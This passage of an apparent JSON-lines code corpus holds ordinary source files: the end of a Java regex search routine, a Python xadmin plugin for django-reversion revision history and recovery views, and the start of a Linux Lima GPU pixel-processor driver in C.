(Config.USE_CRNL_AS_LINE_TERMINATOR) {\n preEnd = enc.stepBack(bytes, str, preEnd, end, 1);\n if (preEnd != -1 && enc.isMbcCrnl(bytes, preEnd, end)) {\n minSemiEnd = preEnd;\n }\n }\n if (minSemiEnd > str && start <= minSemiEnd) {\n // !goto end_buf;!\n if (endBuf(start, range, minSemiEnd, maxSemiEnd)) return FAILED; // mismatch_no_msa;\n }\n } else {\n minSemiEnd = end;\n // !goto end_buf;!\n if (endBuf(start, range, minSemiEnd, maxSemiEnd)) return FAILED; // mismatch_no_msa;\n }\n } else if ((regex.anchor & AnchorType.ANYCHAR_STAR_ML) != 0) {\n // goto !begin_position;!\n if (range > start) {\n range = start + 1;\n } else {\n range = start;\n }\n }\n\n } else if (str == end) { /* empty string */\n // empty address ?\n if (Config.DEBUG_SEARCH) Config.log.println(\"onig_search: empty string.\");\n\n if (regex.thresholdLength == 0) {\n s = start = str;\n prev = -1;\n msaInit(option, start);\n\n if (Config.USE_CEC) stateCheckBuffClear();\n\n if (matchCheck(end, s, prev, interrupt)) return match(s);\n return mismatch();\n }\n return FAILED; // goto mismatch_no_msa;\n }\n\n if (Config.DEBUG_SEARCH) debugSearch(str, end, start, range);\n\n msaInit(option, origStart);\n if (Config.USE_CEC) {\n int offset = Math.min(start, range) - str;\n stateCheckBuffInit(end - str, offset, regex.numCombExpCheck);\n }\n\n s = start;\n if (range > start) { /* forward search */\n if (s > str) {\n prev = enc.prevCharHead(bytes, str, s, end);\n } else {\n prev = 0; // -1\n }\n\n if (regex.forward != null) {\n int schRange = range;\n if (regex.dMax != 0) {\n if (regex.dMax == MinMaxLen.INFINITE_DISTANCE) {\n schRange = end;\n } else {\n schRange += regex.dMax;\n if (schRange > end) schRange = end;\n }\n }\n if ((end - start) < regex.thresholdLength) return mismatch();\n\n if (regex.dMax != MinMaxLen.INFINITE_DISTANCE) {\n do {\n if (!forwardSearchRange(bytes, str, end, s, schRange, this)) return mismatch(); // low, high, lowPrev\n if (s < low) {\n s = low;\n prev = value;\n }\n while (s <= high) {\n if (matchCheck(origRange, s, prev, interrupt)) return match(s); // ???\n prev = s;\n s += enc.length(bytes, s, end);\n }\n } while (s < range);\n return mismatch();\n\n } else { /* check only. */\n if (!forwardSearchRange(bytes, str, end, s, schRange, null)) return mismatch();\n\n if ((regex.anchor & AnchorType.ANYCHAR_STAR) != 0) {\n do {\n if (matchCheck(origRange, s, prev, interrupt)) return match(s);\n prev = s;\n s += enc.length(bytes, s, end);\n\n if ((regex.anchor & (AnchorType.LOOK_BEHIND | AnchorType.PREC_READ_NOT)) == 0) {\n while (!enc.isNewLine(bytes, prev, end) && s < range) {\n prev = s;\n s += enc.length(bytes, s, end);\n }\n }\n } while (s < range);\n return mismatch();\n }\n }\n }\n\n do {\n if (matchCheck(origRange, s, prev, interrupt)) return match(s);\n prev = s;\n s += enc.length(bytes, s, end);\n } while (s < range);\n\n if (s == range) { /* because empty match with /$/. */\n if (matchCheck(origRange, s, prev, interrupt)) return match(s);\n }\n } else { /* backward search */\n if (Config.USE_MATCH_RANGE_MUST_BE_INSIDE_OF_SPECIFIED_RANGE) {\n if (origStart < end) {\n origStart += enc.length(bytes, origStart, end); // /* is upper range */\n }\n }\n\n if (regex.backward != null) {\n int adjrange;\n if (range < end) {\n adjrange = enc.leftAdjustCharHead(bytes, str, range, end);\n } else {\n adjrange = end;\n }\n if (regex.dMax != MinMaxLen.INFINITE_DISTANCE && (end - range) >= regex.thresholdLength) {\n do {\n int schStart = s + regex.dMax;\n if (schStart > end) schStart = end;\n if (!backwardSearchRange(bytes, str, end, schStart, range, adjrange)) return mismatch(); // low, high\n if (s > high) s = high;\n while (s != -1 && s >= low) {\n prev = enc.prevCharHead(bytes, str, s, end);\n if (matchCheck(origStart, s, prev, interrupt)) return match(s);\n s = prev;\n }\n } while (s >= range);\n return mismatch();\n } else { /* check only. */\n if ((end - range) < regex.thresholdLength) return mismatch();\n\n int schStart = s;\n if (regex.dMax != 0) {\n if (regex.dMax == MinMaxLen.INFINITE_DISTANCE) {\n schStart = end;\n } else {\n schStart += regex.dMax;\n if (schStart > end) {\n schStart = end;\n } else {\n schStart = enc.leftAdjustCharHead(bytes, start, schStart, end);\n }\n }\n }\n if (!backwardSearchRange(bytes, str, end, schStart, range, adjrange)) return mismatch();\n }\n }\n\n do {\n prev = enc.prevCharHead(bytes, str, s, end);\n if (matchCheck(origStart, s, prev, interrupt)) return match(s);\n s = prev;\n } while (s >= range);\n\n }\n return mismatch();\n }\n\n private final boolean endBuf(int start, int range, int minSemiEnd, int maxSemiEnd) {\n if ((maxSemiEnd - str) < regex.anchorDmin) return true; // mismatch_no_msa;\n\n if (range > start) {\n if ((minSemiEnd - start) > regex.anchorDmax) {\n start = minSemiEnd - regex.anchorDmax;\n if (start < end) {\n start = enc.rightAdjustCharHead(bytes, str, start, end);\n } else { /* match with empty at end */\n start = enc.prevCharHead(bytes, str, end, end);\n }\n }\n if ((maxSemiEnd - (range - 1)) < regex.anchorDmin) {\n range = maxSemiEnd - regex.anchorDmin + 1;\n }\n if (start >= range) return true; // mismatch_no_msa;\n } else {\n if ((minSemiEnd - range) > regex.anchorDmax) {\n range = minSemiEnd - regex.anchorDmax;\n }\n if ((maxSemiEnd - start) < regex.anchorDmin) {\n start = maxSemiEnd - regex.anchorDmin;\n start = enc.leftAdjustCharHead(bytes, str, start, end);\n }\n if (range > start) return true; // mismatch_no_msa;\n }\n return false;\n }\n\n private final int match(int s) {\n return s - str; // sstart ???\n }\n\n private final int mismatch() {\n if (Config.USE_FIND_LONGEST_SEARCH_ALL_OF_RANGE) {\n if (msaBestLen >= 0) {\n int s = msaBestS;\n return match(s);\n }\n }\n // falls through finish:\n return FAILED;\n }\n\n private byte[]icbuf;\n\n protected final byte[]icbuf() {\n return icbuf == null ? icbuf = new byte[Config.ENC_MBC_CASE_FOLD_MAXLEN] : icbuf;\n }\n\n static boolean isMbcAsciiWord(Encoding enc, byte[]bytes, int p, int end) { // ONIGENC_IS_MBC_ASCII_WORD\n return ASCIIEncoding.INSTANCE.isCodeCType(enc.mbcToCode(bytes, p, end), CharacterType.WORD);\n }\n\n private final void debugForwardSearchRange(int str, int end, int s, int range) {\n if (Config.DEBUG_SEARCH) {\n Config.log.println(\"forward_search_range: \" +\n \"str: \" + str +\n \", end: \" + end +\n \", s: \" + s +\n \", range: \" + range);\n }\n }\n\n private final void debugForwardSearchRangeSuccess(int str, int low, int high) {\n if (Config.DEBUG_SEARCH) {\n Config.log.println(\"forward_search_range success: \" +\n \"low: \" + (low - str) +\n \", high: \" + (high - str) +\n \", dmin: \" + regex.dMin +\n \", dmax: \" + regex.dMax);\n }\n }\n\n private final void debugSearch(int str, int end, int start, int range) {\n if (Config.DEBUG_SEARCH) {\n Config.log.println(\"onig_search (entry point): \" +\n \"str: \" + str +\n \", end: \" + (end - str) +\n \", start: \" + (start - str) +\n \", range \" + (range - str));\n }\n }\n\n private final void debugBackwardSearchRange(int str, int low, int high) {\n if (Config.DEBUG_SEARCH) {\n Config.log.println(\"backward_search_range: \"+\n \"low: \" + (low - str) +\n \", high: \" + (high - str));\n }\n }\n\n static void debugSearch(String name, int textP, int textEnd, int textRange) {\n Config.log.println(name + \": text: \" + textP + \", text_end: \" + textEnd + \", text_range: \" + textRange);\n }\n\n}\n"} -{"text": "from crispy_forms.utils import TEMPLATE_PACK\nfrom django.contrib.contenttypes.fields import GenericRelation\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.core.exceptions import PermissionDenied\nfrom django.db import models\nfrom django.db.models.query import QuerySet\nfrom django.forms.models import model_to_dict\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import get_object_or_404\nfrom django.template.response import TemplateResponse\nfrom django.utils.encoding import force_text, smart_text\nfrom django.utils.safestring import mark_safe\nfrom django.utils.text import capfirst\nfrom django.utils.translation import ugettext as _\nfrom xadmin.layout import Field, render_field\nfrom xadmin.plugins.inline import Inline\nfrom xadmin.plugins.actions import BaseActionView\nfrom xadmin.plugins.inline import InlineModelAdmin\nfrom xadmin.sites import site\nfrom xadmin.util import unquote, quote, model_format_dict, is_related_field2\nfrom xadmin.views import BaseAdminPlugin, ModelAdminView, CreateAdminView, UpdateAdminView, DetailAdminView, ModelFormAdminView, DeleteAdminView, ListAdminView\nfrom xadmin.views.base import csrf_protect_m, filter_hook\nfrom xadmin.views.detail import DetailAdminUtil\nfrom reversion.models import Revision, Version\nfrom reversion.revisions import is_active, register, is_registered, set_comment, create_revision, set_user\nfrom contextlib import contextmanager\nfrom functools import partial\n\n\ndef _autoregister(admin, model, follow=None):\n \"\"\"Registers a model with reversion, if required.\"\"\"\n if model._meta.proxy:\n raise RegistrationError(\"Proxy models cannot be used with django-reversion, register the parent class instead\")\n if not is_registered(model):\n follow = follow or []\n for parent_cls, field in model._meta.parents.items():\n follow.append(field.name)\n _autoregister(admin, parent_cls)\n register(model, follow=follow, format=admin.reversion_format)\n\n\ndef _register_model(admin, model):\n if not hasattr(admin, 'reversion_format'):\n admin.reversion_format = 'json'\n\n if not is_registered(model):\n inline_fields = []\n for inline in getattr(admin, 'inlines', []):\n inline_model = inline.model\n if getattr(inline, 'generic_inline', False):\n ct_field = getattr(inline, 'ct_field', 'content_type')\n ct_fk_field = getattr(inline, 'ct_fk_field', 'object_id')\n for field in model._meta.many_to_many:\n if isinstance(field, GenericRelation) \\\n and field.rel.to == inline_model \\\n and field.object_id_field_name == ct_fk_field \\\n and field.content_type_field_name == ct_field:\n inline_fields.append(field.name)\n _autoregister(admin, inline_model)\n else:\n fk_name = getattr(inline, 'fk_name', None)\n if not fk_name:\n for field in inline_model._meta.fields:\n if isinstance(field, (models.ForeignKey, models.OneToOneField)) and issubclass(model, field.remote_field.model):\n fk_name = field.name\n _autoregister(admin, inline_model, follow=[fk_name])\n if not inline_model._meta.get_field(fk_name).remote_field.is_hidden():\n accessor = inline_model._meta.get_field(fk_name).remote_field.get_accessor_name()\n inline_fields.append(accessor)\n _autoregister(admin, model, inline_fields)\n\n\ndef register_models(admin_site=None):\n if admin_site is None:\n admin_site = site\n\n for model, admin in admin_site._registry.items():\n if getattr(admin, 'reversion_enable', False):\n _register_model(admin, model)\n\n\n@contextmanager\ndef do_create_revision(request):\n with create_revision():\n set_user(request.user)\n yield\n\n\nclass ReversionPlugin(BaseAdminPlugin):\n\n # The serialization format to use when registering models with reversion.\n reversion_format = \"json\"\n\n # Whether to ignore duplicate revision data.\n ignore_duplicate_revisions = False\n\n reversion_enable = False\n\n def init_request(self, *args, **kwargs):\n return self.reversion_enable\n\n def do_post(self, __):\n def _method():\n self.revision_context_manager.set_user(self.user)\n comment = ''\n admin_view = self.admin_view\n if isinstance(admin_view, CreateAdminView):\n comment = _(u\"Initial version.\")\n elif isinstance(admin_view, UpdateAdminView):\n comment = _(u\"Change version.\")\n elif isinstance(admin_view, RevisionView):\n comment = _(u\"Revert version.\")\n elif isinstance(admin_view, RecoverView):\n comment = _(u\"Rercover version.\")\n elif isinstance(admin_view, DeleteAdminView):\n comment = _(u\"Deleted %(verbose_name)s.\") % {\n \"verbose_name\": self.opts.verbose_name}\n self.revision_context_manager.set_comment(comment)\n return __()\n return _method\n\n def post(self, __, request, *args, **kwargs):\n with do_create_revision(request):\n return __()\n\n # Block Views\n def block_top_toolbar(self, context, nodes):\n recoverlist_url = self.admin_view.model_admin_url('recoverlist')\n nodes.append(mark_safe('
    %s
    ' % (recoverlist_url, _(u\"Recover\"))))\n\n def block_nav_toggles(self, context, nodes):\n obj = getattr(\n self.admin_view, 'org_obj', getattr(self.admin_view, 'obj', None))\n if obj:\n revisionlist_url = self.admin_view.model_admin_url(\n 'revisionlist', quote(obj.pk))\n nodes.append(mark_safe('' % revisionlist_url))\n\n def block_nav_btns(self, context, nodes):\n obj = getattr(\n self.admin_view, 'org_obj', getattr(self.admin_view, 'obj', None))\n if obj:\n revisionlist_url = self.admin_view.model_admin_url(\n 'revisionlist', quote(obj.pk))\n nodes.append(mark_safe(' %s' % (revisionlist_url, _(u'History'))))\n\n# action revision\n\n\nclass ActionRevisionPlugin(BaseAdminPlugin):\n\n reversion_enable = False\n\n def init_request(self, *args, **kwargs):\n return self.reversion_enable\n\n def do_action(self, __, queryset):\n with do_create_revision(self.request):\n return __()\n\n\nclass BaseReversionView(ModelAdminView):\n\n # The serialization format to use when registering models with reversion.\n reversion_format = \"json\"\n\n # Whether to ignore duplicate revision data.\n ignore_duplicate_revisions = False\n\n # If True, then the default ordering of object_history and recover lists will be reversed.\n history_latest_first = False\n\n reversion_enable = False\n\n def init_request(self, *args, **kwargs):\n if not self.has_change_permission() and not self.has_add_permission():\n raise PermissionDenied\n\n def _order_version_queryset(self, queryset):\n \"\"\"Applies the correct ordering to the given version queryset.\"\"\"\n if self.history_latest_first:\n return queryset.order_by(\"-pk\")\n return queryset.order_by(\"pk\")\n\n\nclass RecoverListView(BaseReversionView):\n\n recover_list_template = None\n\n def get_context(self):\n context = super(RecoverListView, self).get_context()\n opts = self.opts\n deleted = self._order_version_queryset(Version.objects.get_deleted(self.model))\n context.update({\n \"opts\": opts,\n \"app_label\": opts.app_label,\n \"model_name\": capfirst(opts.verbose_name),\n \"title\": _(\"Recover deleted %(name)s\") % {\"name\": force_text(opts.verbose_name_plural)},\n \"deleted\": deleted,\n \"changelist_url\": self.model_admin_url(\"changelist\"),\n })\n return context\n\n @csrf_protect_m\n def get(self, request, *args, **kwargs):\n context = self.get_context()\n\n return TemplateResponse(\n request, self.recover_list_template or self.get_template_list(\n \"views/recover_list.html\"),\n context)\n\n\nclass RevisionListView(BaseReversionView):\n\n object_history_template = None\n revision_diff_template = None\n\n def _reversion_order_version_queryset(self, queryset):\n \"\"\"Applies the correct ordering to the given version queryset.\"\"\"\n if not self.history_latest_first:\n queryset = queryset.order_by(\"pk\")\n return queryset\n\n def get_context(self):\n context = super(RevisionListView, self).get_context()\n\n opts = self.opts\n action_list = [\n {\n \"revision\": version.revision,\n \"url\": self.model_admin_url('revision', quote(version.object_id), version.id),\n \"version\": version\n }\n for version\n in self._reversion_order_version_queryset(Version.objects.get_for_object_reference(\n self.model,\n self.obj.pk,\n ).select_related(\"revision__user\"))\n ]\n context.update({\n 'title': _('Change history: %s') % force_text(self.obj),\n 'action_list': action_list,\n 'model_name': capfirst(force_text(opts.verbose_name_plural)),\n 'object': self.obj,\n 'app_label': opts.app_label,\n \"changelist_url\": self.model_admin_url(\"changelist\"),\n \"update_url\": self.model_admin_url(\"change\", self.obj.pk),\n 'opts': opts,\n })\n return context\n\n def get(self, request, object_id, *args, **kwargs):\n object_id = unquote(object_id)\n self.obj = self.get_object(object_id)\n\n if not self.has_change_permission(self.obj):\n raise PermissionDenied\n\n return self.get_response()\n\n def get_response(self):\n context = self.get_context()\n\n return TemplateResponse(self.request, self.object_history_template or\n self.get_template_list('views/model_history.html'), context)\n\n def get_version_object(self, version):\n obj_version = version._object_version\n obj = obj_version.object\n obj._state.db = self.obj._state.db\n\n for field_name, pks in obj_version.m2m_data.items():\n f = self.opts.get_field(field_name)\n if f.rel and isinstance(f.rel, models.ManyToManyRel):\n setattr(obj, f.name, f.rel.to._default_manager.get_query_set(\n ).filter(pk__in=pks).all())\n\n detail = self.get_model_view(DetailAdminUtil, self.model, obj)\n\n return obj, detail\n\n def post(self, request, object_id, *args, **kwargs):\n object_id = unquote(object_id)\n self.obj = self.get_object(object_id)\n\n if not self.has_change_permission(self.obj):\n raise PermissionDenied\n\n params = self.request.POST\n if 'version_a' not in params or 'version_b' not in params:\n self.message_user(_(\"Must select two versions.\"), 'error')\n return self.get_response()\n\n version_a_id = params['version_a']\n version_b_id = params['version_b']\n\n if version_a_id == version_b_id:\n self.message_user(\n _(\"Please select two different versions.\"), 'error')\n return self.get_response()\n\n version_a = get_object_or_404(Version, pk=version_a_id)\n version_b = get_object_or_404(Version, pk=version_b_id)\n\n diffs = []\n\n obj_a, detail_a = self.get_version_object(version_a)\n obj_b, detail_b = self.get_version_object(version_b)\n\n for f in (self.opts.fields + self.opts.many_to_many):\n if is_related_field2(f):\n label = f.opts.verbose_name\n else:\n label = f.verbose_name\n\n value_a = f.value_from_object(obj_a)\n value_b = f.value_from_object(obj_b)\n is_diff = value_a != value_b\n\n if type(value_a) in (list, tuple) and type(value_b) in (list, tuple) \\\n and len(value_a) == len(value_b) and is_diff:\n is_diff = False\n for i in xrange(len(value_a)):\n if value_a[i] != value_a[i]:\n is_diff = True\n break\n if type(value_a) is QuerySet and type(value_b) is QuerySet:\n is_diff = list(value_a) != list(value_b)\n\n diffs.append((label, detail_a.get_field_result(\n f.name).val, detail_b.get_field_result(f.name).val, is_diff))\n\n context = super(RevisionListView, self).get_context()\n context.update({\n 'object': self.obj,\n 'opts': self.opts,\n 'version_a': version_a,\n 'version_b': version_b,\n 'revision_a_url': self.model_admin_url('revision', quote(version_a.object_id), version_a.id),\n 'revision_b_url': self.model_admin_url('revision', quote(version_b.object_id), version_b.id),\n 'diffs': diffs\n })\n\n return TemplateResponse(\n self.request, self.revision_diff_template or self.get_template_list('views/revision_diff.html'),\n context)\n\n @filter_hook\n def get_media(self):\n return super(RevisionListView, self).get_media() + self.vendor('xadmin.plugin.revision.js', 'xadmin.form.css')\n\n\nclass BaseRevisionView(ModelFormAdminView):\n\n @filter_hook\n def get_revision(self):\n return self.version.field_dict\n\n @filter_hook\n def get_form_datas(self):\n datas = {\"instance\": self.org_obj, \"initial\": self.get_revision()}\n if self.request_method == 'post':\n datas.update(\n {'data': self.request.POST, 'files': self.request.FILES})\n return datas\n\n @filter_hook\n def get_context(self):\n context = super(BaseRevisionView, self).get_context()\n context.update({\n 'object': self.org_obj\n })\n return context\n\n @filter_hook\n def get_media(self):\n return super(BaseRevisionView, self).get_media() + self.vendor('xadmin.plugin.revision.js')\n\n\nclass DiffField(Field):\n\n def render(self, form, form_style, context, template_pack=TEMPLATE_PACK, **kwargs):\n html = ''\n for field in self.fields:\n html += ('
    %s
    ' %\n (_('Current: %s') % self.attrs.pop('orgdata', ''), render_field(field, form, form_style, context, template_pack=template_pack, attrs=self.attrs)))\n return html\n\n\nclass RevisionView(BaseRevisionView):\n\n revision_form_template = None\n\n def init_request(self, object_id, version_id):\n self.detail = self.get_model_view(\n DetailAdminView, self.model, object_id)\n self.org_obj = self.detail.obj\n self.version = get_object_or_404(\n Version, pk=version_id, object_id=smart_text(self.org_obj.pk))\n\n self.prepare_form()\n\n def get_form_helper(self):\n helper = super(RevisionView, self).get_form_helper()\n diff_fields = {}\n version_data = self.version.field_dict\n\n for f in self.opts.fields:\n fvalue = f.value_from_object(self.org_obj)\n vvalue = version_data.get(f.name, None)\n\n if fvalue is None and vvalue == '':\n vvalue = None\n if is_related_field2(f):\n vvalue = version_data.get(f.name + '_' + f.rel.get_related_field().name, None)\n\n if fvalue != vvalue:\n diff_fields[f.name] = self.detail.get_field_result(f.name).val\n for k, v in diff_fields.items():\n helper[k].wrap(DiffField, orgdata=v)\n return helper\n\n @filter_hook\n def get_context(self):\n context = super(RevisionView, self).get_context()\n context[\"title\"] = _(\n \"Revert %s\") % force_text(self.model._meta.verbose_name)\n return context\n\n @filter_hook\n def get_response(self):\n context = self.get_context()\n context.update(self.kwargs or {})\n\n form_template = self.revision_form_template\n return TemplateResponse(\n self.request, form_template or self.get_template_list(\n 'views/revision_form.html'),\n context)\n\n @filter_hook\n def post_response(self):\n self.message_user(_('The %(model)s \"%(name)s\" was reverted successfully. You may edit it again below.') %\n {\"model\": force_text(self.opts.verbose_name), \"name\": smart_text(self.new_obj)}, 'success')\n return HttpResponseRedirect(self.model_admin_url('change', self.new_obj.pk))\n\n\nclass RecoverView(BaseRevisionView):\n\n recover_form_template = None\n\n def init_request(self, version_id):\n if not self.has_change_permission() and not self.has_add_permission():\n raise PermissionDenied\n\n self.version = get_object_or_404(Version, pk=version_id)\n self.org_obj = self.version._object_version.object\n\n self.prepare_form()\n\n @filter_hook\n def get_context(self):\n context = super(RecoverView, self).get_context()\n context[\"title\"] = _(\"Recover %s\") % self.version.object_repr\n return context\n\n @filter_hook\n def get_response(self):\n context = self.get_context()\n context.update(self.kwargs or {})\n\n form_template = self.recover_form_template\n return TemplateResponse(\n self.request, form_template or self.get_template_list(\n 'views/recover_form.html'),\n context)\n\n @filter_hook\n def post_response(self):\n self.message_user(_('The %(model)s \"%(name)s\" was recovered successfully. You may edit it again below.') %\n {\"model\": force_text(self.opts.verbose_name), \"name\": smart_text(self.new_obj)}, 'success')\n return HttpResponseRedirect(self.model_admin_url('change', self.new_obj.pk))\n\n\nclass InlineDiffField(Field):\n\n def render(self, form, form_style, context, template_pack=TEMPLATE_PACK, **kwargs):\n html = ''\n instance = form.instance\n if not instance.pk:\n return super(InlineDiffField, self).render(form, form_style, context)\n\n initial = form.initial\n opts = instance._meta\n detail = form.detail\n for field in self.fields:\n f = opts.get_field(field)\n f_html = render_field(field, form, form_style, context,\n template_pack=template_pack, attrs=self.attrs)\n if f.value_from_object(instance) != initial.get(field, None):\n current_val = detail.get_field_result(f.name).val\n html += ('
    %s
    '\n % (_('Current: %s') % current_val, f_html))\n else:\n html += f_html\n return html\n\n# inline hack plugin\n\n\nclass InlineRevisionPlugin(BaseAdminPlugin):\n\n def get_related_versions(self, obj, version, formset):\n \"\"\"Retreives all the related Version objects for the given FormSet.\"\"\"\n object_id = obj.pk\n # Get the fk name.\n try:\n fk_name = formset.fk.name + '_' + formset.fk.rel.get_related_field().name\n except AttributeError:\n # This is a GenericInlineFormset, or similar.\n fk_name = formset.ct_fk_field.name\n # Look up the revision data.\n revision_versions = version.revision.version_set.all()\n related_versions = dict([(related_version.object_id, related_version)\n for related_version in revision_versions\n if ContentType.objects.get_for_id(related_version.content_type_id).model_class() == formset.model\n and smart_text(related_version.field_dict[fk_name]) == smart_text(object_id)])\n return related_versions\n\n def _hack_inline_formset_initial(self, revision_view, formset):\n \"\"\"Hacks the given formset to contain the correct initial data.\"\"\"\n # Now we hack it to push in the data from the revision!\n initial = []\n related_versions = self.get_related_versions(\n revision_view.org_obj, revision_view.version, formset)\n formset.related_versions = related_versions\n for related_obj in formset.queryset:\n if smart_text(related_obj.pk) in related_versions:\n initial.append(\n related_versions.pop(smart_text(related_obj.pk)).field_dict)\n else:\n initial_data = model_to_dict(related_obj)\n initial_data[\"DELETE\"] = True\n initial.append(initial_data)\n for related_version in related_versions.values():\n initial_row = related_version.field_dict\n pk_name = ContentType.objects.get_for_id(\n related_version.content_type_id).model_class()._meta.pk.name\n del initial_row[pk_name]\n initial.append(initial_row)\n # Reconstruct the forms with the new revision data.\n formset.initial = initial\n formset.forms = [formset._construct_form(\n n) for n in xrange(len(initial))]\n # Hack the formset to force a save of everything.\n\n def get_changed_data(form):\n return [field.name for field in form.fields]\n for form in formset.forms:\n form.has_changed = lambda: True\n form._get_changed_data = partial(get_changed_data, form=form)\n\n def total_form_count_hack(count):\n return lambda: count\n formset.total_form_count = total_form_count_hack(len(initial))\n\n if self.request.method == 'GET' and formset.helper and formset.helper.layout:\n helper = formset.helper\n cls_str = str\n helper.filter(cls_str).wrap(InlineDiffField)\n fake_admin_class = type(str('%s%sFakeAdmin' % (self.opts.app_label, self.opts.model_name)), (object, ), {'model': self.model})\n for form in formset.forms:\n instance = form.instance\n if instance.pk:\n form.detail = self.get_view(\n DetailAdminUtil, fake_admin_class, instance)\n\n def instance_form(self, formset, **kwargs):\n admin_view = self.admin_view.admin_view\n if hasattr(admin_view, 'version') and hasattr(admin_view, 'org_obj'):\n self._hack_inline_formset_initial(admin_view, formset)\n return formset\n\n\nclass VersionInline(object):\n model = Version\n extra = 0\n style = 'accordion'\n\n\nclass ReversionAdmin(object):\n model_icon = 'fa fa-exchange'\n\n list_display = ('__str__', 'date_created', 'user', 'comment')\n list_display_links = ('__str__',)\n\n list_filter = ('date_created', 'user')\n inlines = [VersionInline]\n\nsite.register(Revision, ReversionAdmin)\n\nsite.register_modelview(\n r'^recover/$', RecoverListView, name='%s_%s_recoverlist')\nsite.register_modelview(\n r'^recover/([^/]+)/$', RecoverView, name='%s_%s_recover')\nsite.register_modelview(\n r'^([^/]+)/revision/$', RevisionListView, name='%s_%s_revisionlist')\nsite.register_modelview(\n r'^([^/]+)/revision/([^/]+)/$', RevisionView, name='%s_%s_revision')\n\nsite.register_plugin(ReversionPlugin, ListAdminView)\nsite.register_plugin(ReversionPlugin, ModelFormAdminView)\nsite.register_plugin(ReversionPlugin, DeleteAdminView)\n\nsite.register_plugin(InlineRevisionPlugin, InlineModelAdmin)\nsite.register_plugin(ActionRevisionPlugin, BaseActionView)\n"} -{"text": "// SPDX-License-Identifier: GPL-2.0 OR MIT\n/* Copyright 2017-2019 Qiang Yu */\n\n#include \n#include \n#include \n#include \n\n#include \n\n#include \"lima_device.h\"\n#include \"lima_pp.h\"\n#include \"lima_dlbu.h\"\n#include \"lima_bcast.h\"\n#include \"lima_vm.h\"\n#include \"lima_regs.h\"\n\n#define pp_write(reg, data) writel(data, ip->iomem + reg)\n#define pp_read(reg) readl(ip->iomem + reg)\n\nstatic void lima_pp_handle_irq(struct lima_ip *ip, u32 state)\n{\n\tstruct lima_device *dev = ip->dev;\n\tstruct lima_sched_pipe *pipe = dev->pipe + lima_pipe_pp;\n\n\tif (state & LIMA_PP_IRQ_MASK_ERROR) {\n\t\tu32 status = pp_read(LIMA_PP_STATUS);\n\n\t\tdev_err(dev->dev, \"pp error irq state=%x status=%x\\n\",\n\t\t\tstate, status);\n\n\t\tpipe->error = true;\n\n\t\t/* mask all interrupts before hard reset */\n\t\tpp_write(LIMA_PP_INT_MASK, 0);\n\t}\n\n\tpp_write(LIMA_PP_INT_CLEAR, state);\n}\n\nstatic irqreturn_t lima_pp_irq_handler(int irq, void *data)\n{\n\tstruct lima_ip *ip = data;\n\tstruct lima_device *dev = ip->dev;\n\tstruct lima_sched_pipe *pipe = dev->pipe + lima_pipe_pp;\n\tu32 state = pp_read(LIMA_PP_INT_STATUS);\n\n\t/* for shared irq case */\n\tif (!state)\n\t\treturn IRQ_NONE;\n\n\tlima_pp_handle_irq(ip, state);\n\n\tif (atomic_dec_and_test(&pipe->task))\n\t\tlima_sched_pipe_task_done(pipe);\n\n\treturn IRQ_HANDLED;\n}\n\nstatic irqreturn_t lima_pp_bcast_irq_handler(int irq, void *data)\n{\n\tint i;\n\tirqreturn_t ret = IRQ_NONE;\n\tstruct lima_ip *pp_bcast = data;\n\tstruct lima_device *dev = pp_bcast->dev;\n\tstruct lima_sched_pipe *pipe = dev->pipe + lima_pipe_pp;\n\tstruct drm_lima_m450_pp_frame *frame;\n\n\t/* for shared irq case */\n\tif (!pipe->current_task)\n\t\treturn IRQ_NONE;\n\n\tframe = pipe->current_task->frame;\n\n\tfor (i = 0; i < frame->num_pp; i++) {\n\t\tstruct lima_ip *ip = pipe->processor[i];\n\t\tu32 status, state;\n\n\t\tif (pipe->done & (1 << i))\n\t\t\tcontinue;\n\n\t\t/* status read first in case int state change in the middle\n\t\t * which may miss the interrupt handling\n\t\t */\n\t\tstatus = pp_read(LIMA_PP_STATUS);\n\t\tstate = pp_read(LIMA_PP_INT_STATUS);\n\n\t\tif (state) {\n\t\t\tlima_pp_handle_irq(ip, state);\n\t\t\tret = IRQ_HANDLED;\n\t\t} else {\n\t\t\tif (status & LIMA_PP_STATUS_RENDERING_ACTIVE)\n\t\t\t\tcontinue;\n\t\t}\n\n\t\tpipe->done |= (1 << i);\n\t\tif (atomic_dec_and_test(&pipe->task))\n\t\t\tlima_sched_pipe_task_done(pipe);\n\t}\n\n\treturn ret;\n}\n\nstatic void lima_pp_soft_reset_async(struct lima_ip *ip)\n{\n\tif (ip->data.async_reset)\n\t\treturn;\n\n\tpp_write(LIMA_PP_INT_MASK, 0);\n\tpp_write(LIMA_PP_INT_RAWSTAT, LIMA_PP_IRQ_MASK_ALL);\n\tpp_write(LIMA_PP_CTRL, LIMA_PP_CTRL_SOFT_RESET);\n\tip->data.async_reset = true;\n}\n\nstatic int lima_pp_soft_reset_poll(struct lima_ip *ip)\n{\n\treturn !(pp_read(LIMA_PP_STATUS) & LIMA_PP_STATUS_RENDERING_ACTIVE) &&\n\t\tpp_read(LIMA_PP_INT_RAWSTAT) == LIMA_PP_IRQ_RESET_COMPLETED;\n}\n\nstatic int lima_pp_soft_reset_async_wait_one(struct lima_ip *ip)\n{\n\tstruct lima_device *dev = ip->dev;\n\tint ret;\n\n\tret = lima_poll_timeout(ip, lima_pp_soft_reset_poll, 0, 100);\n\tif (ret) {\n\t\tdev_err(dev->dev, \"pp %s reset time out\\n\", lima_ip_name(ip));\n\t\treturn ret;\n\t}\n\n\tpp_write(LIMA_PP_INT_CLEAR, LIMA_PP_IRQ_MASK_ALL);\n\tpp_write(LIMA_PP_INT_MASK, LIMA_PP_IRQ_MASK_USED);\n\treturn 0;\n}\n\nstatic int lima_pp_soft_reset_async_wait(struct lima_ip *ip)\n{\n\tint i, err = 0;\n\n\tif (!ip->data.async_reset)\n\t\treturn 0;\n\n\tif (ip->id == lima_ip_pp_bcast) {\n\t\tstruct lima_device *dev = ip->dev;\n\t\tstruct lima_sched_pipe *pipe = dev->pipe + lima_pipe_pp;\n\t\tstruct drm_lima_m450_pp_frame *frame = pipe->current_task->frame;\n\n\t\tfor (i = 0; i < frame->num_pp; i++)\n\t\t\terr |= lima_pp_soft_reset_async_wait_one(pipe->processor[i]);\n\t} else\n\t\terr = lima_pp_soft_reset_async_wait_one(ip);\n\n\tip->data.async_reset = false;\n\treturn err;\n}\n\nstatic void lima_pp_write_frame(struct lima_ip *ip, u32 *frame, u32 *wb)\n{\n\tint i, j, n = 0;\n\n\tfor (i = 0; i < 